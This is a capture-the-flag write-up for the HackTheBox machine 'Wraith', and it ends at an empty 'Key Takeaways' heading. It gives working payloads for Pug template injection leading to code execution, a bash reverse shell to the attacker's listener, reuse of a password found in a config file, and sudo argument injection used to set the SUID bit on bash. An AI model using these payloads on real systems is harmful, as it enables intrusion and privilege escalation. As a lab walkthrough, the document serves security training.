All posts

HTB: Wraith — Pug SSTI to Root via Sudo Wildcard

Wraith is a hard-rated HackTheBox Linux machine centred on a Node.js Express application that passes unsanitised user input to the Pug template engine — yielding RCE as the web service account. Credentials stored in the application config pivot the shell to a local user, and a sudo entry granting wildcard access to a Python backup script provides the final path to root through argument injection.


Enumeration

Port Scan

nmap -sCV -p- --min-rate 5000 -T4 10.10.11.72 -oN wraith.nmap
# Key open ports:
# 22/tcp    open  ssh      OpenSSH 9.2p1
# 80/tcp    open  http     nginx/1.24.0
# 3000/tcp  open  http     Node.js Express

Port 80 is a static landing page for "WraithCorp Internal Tools". Port 3000 hosts a Node.js application — the actual attack surface.

Web Application — Port 3000

The Node.js app is a templated report-generation tool. It accepts a name parameter in a POST form that is reflected in the page title. Initial fuzzing with ffuf reveals an /api/preview endpoint that also takes a template POST parameter:

ffuf -u http://10.10.11.72:3000/FUZZ \
  -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-directories.txt \
  -mc 200,301,302,403

# /                 (200)
# /login            (200)
# /dashboard        (302 → /login)
# /api/preview      (200)
# /api/generate     (405)

The /api/preview endpoint takes a raw template string and renders it. Testing with a Pug arithmetic expression immediately returns the evaluated result:

curl -s -X POST http://10.10.11.72:3000/api/preview \
  -H "Content-Type: application/json" \
  -d '{"template": "p= 7*7"}'
# <p>49</p>
# → Pug template injection confirmed

Foothold — Pug SSTI to RCE

Understanding the Injection

Pug (formerly Jade) is a Node.js template engine that compiles templates into JavaScript and executes them. When a full template string is accepted from user input and passed to pug.render(), the attacker controls arbitrary JavaScript execution within the Node.js process.

The standard Pug SSTI payload uses the - character (unbuffered code) to execute JavaScript directly, then accesses the Node.js child_process module via the module resolution chain:

PAYLOAD='- var x = global.process.mainModule.require("child_process").execSync("id").toString()
p= x'

curl -s -X POST http://10.10.11.72:3000/api/preview \
  -H "Content-Type: application/json" \
  -d "{\"template\": \"${PAYLOAD}\"}"
# <p>uid=1001(www-data) gid=1001(www-data) groups=1001(www-data)
# </p>

Reverse Shell

With confirmed command execution, establish a reverse shell. The standard bash one-liner via execSync:

# Attacker: start listener
nc -lvnp 4444

# Craft the payload (URL-encode the special characters in JSON)
curl -s -X POST http://10.10.11.72:3000/api/preview \
  -H "Content-Type: application/json" \
  --data-raw '{"template": "- var s = global.process.mainModule.require(\"child_process\").execSync(\"bash -c '"'"'bash -i >& /dev/tcp/10.10.14.5/4444 0>&1'"'"'\").toString()\np= s"}'
# Shell received:
www-data@wraith:/opt/wraithcorp/app$ id
uid=1001(www-data) gid=1001(www-data) groups=1001(www-data)

User Flag — Config Credential Reuse

Enumerating the application directory reveals a config.json containing database credentials:

cat /opt/wraithcorp/app/config.json
{
  "db": {
    "host": "127.0.0.1",
    "port": 5432,
    "name": "wraithcorp",
    "user": "wraithdb",
    "password": "Wr41thD3v2025!"
  },
  "app": {
    "secret": "r4nd0ms3cr3t!",
    "adminUser": "wraith"
  }
}

The adminUser value wraith matches a local OS user. Testing the database password as an SSH credential succeeds — classic credential reuse:

ssh [email protected]
# Password: Wr41thD3v2025!

wraith@wraith:~$ cat user.txt
# 3f8e1a...  ← user flag

Privilege Escalation — Sudo Wildcard Injection

Sudo Enumeration

Checking the sudo policy for the wraith user immediately reveals a promising entry:

sudo -l
# User wraith may run the following commands on wraith:
# (root) NOPASSWD: /usr/local/bin/backup.py *

The trailing * means the wraith user can pass any arguments to backup.py as root. The script itself is readable:

cat /usr/local/bin/backup.py
#!/usr/bin/env python3
import os, sys, shutil, argparse

parser = argparse.ArgumentParser(description='WraithCorp backup utility')
parser.add_argument('src',  help='Source directory to back up')
parser.add_argument('dst',  help='Destination path')
parser.add_argument('--compress', action='store_true', help='Compress the backup')
args = parser.parse_args()

if args.compress:
    os.system(f"tar czf {args.dst} {args.src}")
else:
    shutil.copytree(args.src, args.dst)

print(f"[+] Backup of {args.src} complete.")

Identifying the Injection

The --compress path calls os.system() with an unsanitised f-string. Both args.dst and args.src are directly interpolated into the shell command. By supplying a dst value containing shell metacharacters, arbitrary commands execute as root:

# Test the injection with a write to /tmp
sudo /usr/local/bin/backup.py /tmp/test '/tmp/out.tar.gz; id > /tmp/pwn' --compress
cat /tmp/pwn
# uid=0(root) gid=0(root) groups=0(root)

Root Shell

With confirmed root code execution via the injection, the cleanest path to an interactive root shell is setting the SUID bit on bash:

sudo /usr/local/bin/backup.py /tmp/x '/tmp/y; chmod u+s /bin/bash' --compress
bash -p
# bash-5.2# id
# uid=1002(wraith) gid=1002(wraith) euid=0(root) groups=1002(wraith)

bash-5.2# cat /root/root.txt
# 9c4b2f...  ← root flag

Key Takeaways